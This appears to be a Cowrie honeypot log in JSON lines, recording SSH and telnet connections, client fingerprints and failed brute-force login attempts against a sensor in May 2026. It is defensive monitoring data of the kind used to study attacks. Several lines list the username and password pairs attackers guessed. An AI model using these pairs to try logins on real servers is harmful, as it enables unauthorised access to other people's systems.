{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":40614,"dst_ip":"10.17.0.5","dst_port":22,"session":"417e49300dec","protocol":"ssh","message":"New connection: 177.85.247.230:40614 (10.17.0.5:22) [session: 417e49300dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:40.319803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:40.324658Z","src_ip":"177.85.247.230","session":"417e49300dec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:40.426691Z","src_ip":"177.85.247.230","session":"417e49300dec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"test","message":"login attempt [adam/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:40.865373Z","src_ip":"177.85.247.230","session":"417e49300dec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:41.007369Z","src_ip":"191.101.59.69","session":"83613387ced1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:41.972524Z","src_ip":"177.85.247.230","session":"417e49300dec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":53440,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf755b9f994c","protocol":"telnet","message":"New connection: 192.211.53.160:53440 (159.203.135.109:23) [session: cf755b9f994c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:48.874139Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":55332,"dst_ip":"10.17.0.5","dst_port":22,"session":"516c39115318","protocol":"ssh","message":"New connection: 152.32.162.42:55332 (10.17.0.5:22) [session: 516c39115318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:52.298664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:52.302961Z","src_ip":"152.32.162.42","session":"516c39115318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:52.559174Z","src_ip":"152.32.162.42","session":"516c39115318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2011","message":"login attempt [root/admin@2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:53.614687Z","src_ip":"152.32.162.42","session":"516c39115318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":56350,"dst_ip":"10.17.0.5","dst_port":23,"session":"fffd15fc85e2","protocol":"telnet","message":"New connection: 45.81.23.16:56350 (10.17.0.5:23) [session: fffd15fc85e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:53.822522Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:54.873589Z","src_ip":"152.32.162.42","session":"516c39115318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":37844,"dst_ip":"10.17.0.5","dst_port":22,"session":"05f8d3a9ca25","protocol":"ssh","message":"New connection: 186.113.245.157:37844 (10.17.0.5:22) [session: 05f8d3a9ca25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:59.793016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:59.798733Z","src_ip":"186.113.245.157","session":"05f8d3a9ca25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:24:59.894996Z","src_ip":"186.113.245.157","session":"05f8d3a9ca25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:00.305425Z","src_ip":"186.113.245.157","session":"05f8d3a9ca25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:01.404805Z","src_ip":"186.113.245.157","session":"05f8d3a9ca25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.20659303665161,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:02.648405Z","src_ip":"38.60.198.128","session":"c49fcfeeda08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.086951732635498,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:04.909191Z","src_ip":"45.81.23.16","session":"fffd15fc85e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":38038,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b8b055e3fa0","protocol":"ssh","message":"New connection: 186.10.86.130:38038 (159.203.135.109:22) [session: 4b8b055e3fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:05.210148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:05.230888Z","src_ip":"186.10.86.130","session":"4b8b055e3fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:05.382927Z","src_ip":"186.10.86.130","session":"4b8b055e3fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!qaz@wsx","message":"login attempt [ubuntu/!qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:06.009100Z","src_ip":"186.10.86.130","session":"4b8b055e3fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:07.162647Z","src_ip":"186.10.86.130","session":"4b8b055e3fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36352,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a4326939e84","protocol":"telnet","message":"New connection: 38.54.119.93:36352 (10.17.0.5:23) [session: 5a4326939e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:10.164749Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36914,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d0b689bd3d","protocol":"telnet","message":"New connection: 38.54.119.93:36914 (10.17.0.5:23) [session: 43d0b689bd3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:10.791687Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52644,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e788f1b682","protocol":"telnet","message":"New connection: 45.81.23.16:52644 (10.17.0.5:23) [session: 08e788f1b682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:11.540690Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52652,"dst_ip":"10.17.0.5","dst_port":23,"session":"cffbc321533b","protocol":"telnet","message":"New connection: 45.81.23.16:52652 (10.17.0.5:23) [session: cffbc321533b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:11.858670Z"}
{"eventid":"cowrie.session.closed","duration":120.00311827659607,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:13.463015Z","src_ip":"190.183.203.15","session":"93972f039d01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52658,"dst_ip":"10.17.0.5","dst_port":23,"session":"35e93219b4bf","protocol":"telnet","message":"New connection: 45.81.23.16:52658 (10.17.0.5:23) [session: 35e93219b4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:13.564092Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":53842,"dst_ip":"159.203.135.109","dst_port":23,"session":"151da237ba90","protocol":"telnet","message":"New connection: 190.183.203.15:53842 (159.203.135.109:23) [session: 151da237ba90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:13.849798Z"}
{"eventid":"cowrie.session.closed","duration":120.00206565856934,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:14.970424Z","src_ip":"190.183.203.15","session":"b19ea4ac91ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":54114,"dst_ip":"159.203.135.109","dst_port":23,"session":"b935a7fff523","protocol":"telnet","message":"New connection: 190.183.203.15:54114 (159.203.135.109:23) [session: b935a7fff523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:15.375214Z"}
{"eventid":"cowrie.session.closed","duration":10.14499282836914,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:21.685551Z","src_ip":"45.81.23.16","session":"08e788f1b682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44110,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c6b003f978","protocol":"telnet","message":"New connection: 38.54.119.93:44110 (10.17.0.5:23) [session: a5c6b003f978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:22.802107Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":17714,"dst_ip":"10.17.0.5","dst_port":22,"session":"a37bfca15da0","protocol":"ssh","message":"New connection: 115.68.208.117:17714 (10.17.0.5:22) [session: a37bfca15da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:26.871123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:26.876257Z","src_ip":"115.68.208.117","session":"a37bfca15da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:27.086922Z","src_ip":"115.68.208.117","session":"a37bfca15da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.566468715667725,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:27.130412Z","src_ip":"45.81.23.16","session":"35e93219b4bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47386,"dst_ip":"10.17.0.5","dst_port":23,"session":"856612c634a3","protocol":"telnet","message":"New connection: 38.54.119.93:47386 (10.17.0.5:23) [session: 856612c634a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:27.962448Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"110110","message":"login attempt [admin/110110] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:27.971517Z","src_ip":"115.68.208.117","session":"a37bfca15da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.13368010520935,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:28.007656Z","src_ip":"192.211.53.160","session":"cf755b9f994c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.165016412734985,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:28.967012Z","src_ip":"38.54.119.93","session":"a5c6b003f978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:29.183843Z","src_ip":"115.68.208.117","session":"a37bfca15da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.740359306335449,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:34.702703Z","src_ip":"38.54.119.93","session":"856612c634a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":3956,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ee96c547c3e","protocol":"ssh","message":"New connection: 177.85.247.230:3956 (10.17.0.5:22) [session: 5ee96c547c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:38.247901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:38.252855Z","src_ip":"177.85.247.230","session":"5ee96c547c3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:38.365456Z","src_ip":"177.85.247.230","session":"5ee96c547c3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa111111","message":"login attempt [user/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:38.805884Z","src_ip":"177.85.247.230","session":"5ee96c547c3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:39.912906Z","src_ip":"177.85.247.230","session":"5ee96c547c3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55936,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f68943e5e7d","protocol":"telnet","message":"New connection: 38.54.119.93:55936 (10.17.0.5:23) [session: 6f68943e5e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:43.438126Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":54846,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b91182f5486","protocol":"ssh","message":"New connection: 152.32.162.42:54846 (10.17.0.5:22) [session: 9b91182f5486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:43.651582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:25:43.657013Z","src_ip":"152.32.162.42","session":"9b91182f5486","protocol":"ssh"}
